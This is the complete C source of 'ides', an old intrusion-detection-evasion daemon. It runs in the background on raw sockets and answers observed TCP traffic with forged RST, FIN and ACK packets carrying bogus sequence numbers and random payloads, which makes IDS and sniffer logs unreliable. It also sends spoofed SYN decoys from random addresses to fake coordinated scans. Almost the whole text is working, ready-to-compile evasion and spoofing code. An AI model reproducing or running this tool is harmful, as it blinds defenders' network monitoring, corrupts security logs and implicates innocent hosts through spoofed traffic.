Intrusion Detection Evasion System is a daemon that monitors connections, and forges additional packets to hide from and disturb network monitoring processes of IDS and sniffers. It does this by inserting rst/fin and ack packets with bogus payloads and invalid sequence numbers that only affect network monitors. It also sends a custom amount of SYN requests from arbitrary sources on every real connection attempt it sees, which can for example be used to simulate coordinated scans.
70928c72e9594e3b31e86cabaaf959e292ac9e456f7add9f9d4fb015debc78bc
/*
* ides version 0.3 - 'intrusion detection evasion system'
* (c) Jan 2000 by Mixter
*
* IDES will go into background and watch incoming traffic, inserting forged
* TCP ack, rst and fin packets for every transmitted data packet. The sessions
* will not be affected, since the sequence numbers change, but all sniffing
* and monitoring software that evaluates raw packets is possibly tricked into
* evaluating the forged data or seeing reset connections, making logging
* unreliable or impossible. As a second feature, IDES will create a custom
* amount of fake SYNs on each valid tcp connection request, transparently
* simulating coordinated/decoy scans from random source addresses.
* IDES can be used on a remote host or locally to fool sniffers, IDS and
* other network monitors and to generate random decoy probes while scanning.
* Acknowledgements: MUCH of this idea is from stran9ers (private) code, which
* is better to configure, and from horizons article in Phrack 54.
*
* Changes:
* v 0.3 - code sanitized, prevent generation of ACK storms/feedback loops
* v 0.2 - now uses a unique XOR (ph33r) challenge value for each process
*/
#define DECOYS 10 /* number of forged SYNs to send on each
tcp connection initiation */
#undef DEBUG /* stay in foreground + dump packet info */
#undef NO_INADDR /* solaris */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#ifndef IP_HDRINCL
#define IP_HDRINCL 3
#endif
#ifndef PF_INET
#define PF_INET 2
#endif
#ifndef AF_INET
#define AF_INET PF_INET
#endif
typedef unsigned char u8;
typedef unsigned short int u16;
typedef unsigned int u32;
#ifndef NO_INADDR
#ifndef in_addr
struct in_addr
{
unsigned long int s_addr;
};
#endif
#endif
#ifndef htons
#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x) (x)
#define ntohs(x) (x)
#define htonl(x) (x)
#define htons(x) (x)
#else
unsigned long int htonl (unsigned long int hostlong);
unsigned short int htons (unsigned short int hostshort);
unsigned long int ntohl (unsigned long int netlong);
unsigned short int ntohs (unsigned short int netshort);
#endif
#endif
#define IP 0
#define TCP 6
#define RAW 255
struct sa
{
u16 fam, dp;
u32 add;
u8 zero[8];
}
sadd;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u8 ihl:4, ver:4;
#else
u8 ver:4, ihl:4;
#endif
u8 tos;
u16 tl, id, off;
u8 ttl, pro;
u16 sum;
u32 src, dst;
}
*ih;
struct tcp
{
u16 src, dst;
u32 seq, ackseq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2;
#else
u16 doff:4, res1:4, res2:2, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1;
#endif
u16 win, sum, urp;
}
*th;
unsigned short ip_sum (unsigned short *, int);
unsigned short
ip_sum (addr, len)
unsigned short *addr;
int len;
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
char rseed[65535];
int rcounter = 0;
void
random_init (void)
{
int rfd = open ("/dev/urandom", O_RDONLY);
if (rfd < 0)
rfd = open ("/dev/random", O_RDONLY);
rcounter = read (rfd, rseed, 65535);
close (rfd);
}
inline long
getrandom (int min, int max)
{
if (rcounter < 2)
random_init ();
srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
rcounter -= 2;
return ((random () % (int) (((max) + 1) - (min))) + (min));
}
u32 magic;
char packet[1024], *dh;
#define GETLRANDOM (getrandom (0, 65535) * getrandom (0, 65535))
#define CLONED ((ntohl(th->seq) == (ntohl (ih->src)^magic)))
void
syndecoy (int s)
{
#ifdef DEBUG
printf ("*");
#endif
sadd.fam = AF_INET;
sadd.dp = th->dst;
sadd.add = ih->dst;
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = sizeof (struct ip) + sizeof (struct tcp);
ih->id = getrandom (0, 65535);
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->pro = TCP;
ih->sum = 0;
ih->src = htonl (GETLRANDOM);
th->seq = htonl (ntohl (ih->src) ^ magic);
th->ackseq = 0;
th->res1 = 0;
th->doff = 0;
th->fin = 0;
th->syn = 1;
th->ack = 0;
th->rst = 0;
th->psh = 0;
th->ack = 0;
th->urg = 1;
th->res2 = 0;
th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
memset (dh, 0, 256);
sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));
}
void
idscrew (int s)
{
int flg = ((th->ack) && (!th->psh)), rl = getrandom (0, 256);
#ifdef DEBUG
printf (".");
#endif
sadd.fam = AF_INET;
sadd.dp = th->dst;
sadd.add = ih->dst;
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = sizeof (struct ip) + sizeof (struct tcp);
ih->id = getrandom (0, 65535);
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->pro = TCP;
ih->sum = 0;
th->seq = htonl (ntohl (ih->src) ^ magic);
th->ackseq = htonl (GETLRANDOM);
th->res1 = 0;
th->doff = 0;
th->fin = 0;
th->syn = 0;
th->ack = 1;
th->rst = 0;
th->psh = 1;
th->ack = 0;
th->urg = 0;
th->res2 = 0;
memset (dh, 0, 256);
th->ack = 0;
th->psh = 0;
th->rst = 1;
th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));
if (flg) /* this is necessary to prevent ev1l ACK st0rmz#@!$ */
return;
th->rst = 0;
th->fin = 1;
th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));
ih->tl += rl;
th->fin = 0;
th->ack = 1;
memcpy (dh, rseed + getrandom (0, 5000), rl);
th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1);
ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1);
sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd));
th->psh = 1;
memcpy (dh, rseed + getrandom (0, 5000), rl);
th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1);
ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1);
sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd));
ih->tl -= rl;
}
int
main (int argc, char **argv)
{
char *opt = "1";
int i = 0, s = socket (AF_INET, SOCK_RAW, TCP);
magic = GETLRANDOM; /* initialize our magic challenge */
ih = (struct ip *) packet;
th = (struct tcp *) (packet + sizeof (struct ip));
dh = (char *) (packet + sizeof (struct ip) + sizeof (struct tcp));
#ifndef DEBUG
if ((i = fork ()))
{
printf ("%s launching into the background (pid: %d)\n", argv[0], i);
exit (0);
}
#endif
if (s < 0)
perror ("");
if (setsockopt (s, IP, IP_HDRINCL, opt, sizeof (opt)) < 0)
perror ("");
while (1)
{
if (read (s, packet, 1020) > 0)
if ((!CLONED) && (th->ack))
{
#ifdef DEBUG
printf ("Seq: %lu, ack: %lu, src: %lu (S%dA%dP%dF%dR%dU%d)\n",
ntohl (th->seq), ntohl (th->ackseq), ntohl (ih->src),
th->syn, th->ack, th->psh, th->fin, th->rst, th->urg);
fflush (stdout);
#endif
if (th->syn)
for (i = 0; i < DECOYS; i++)
syndecoy (s);
else if ((!th->fin) && (!th->rst))
idscrew (s);
}
memset (packet, 0, 1024);
}
return 0;
}
/* $t34lthy OoOoO .
h4x3r _______( o__ o
|___\ 0|_ | _ ( _| O
/ 0|___||_O(___| ( 1 4m h1d1ng!@$ ) */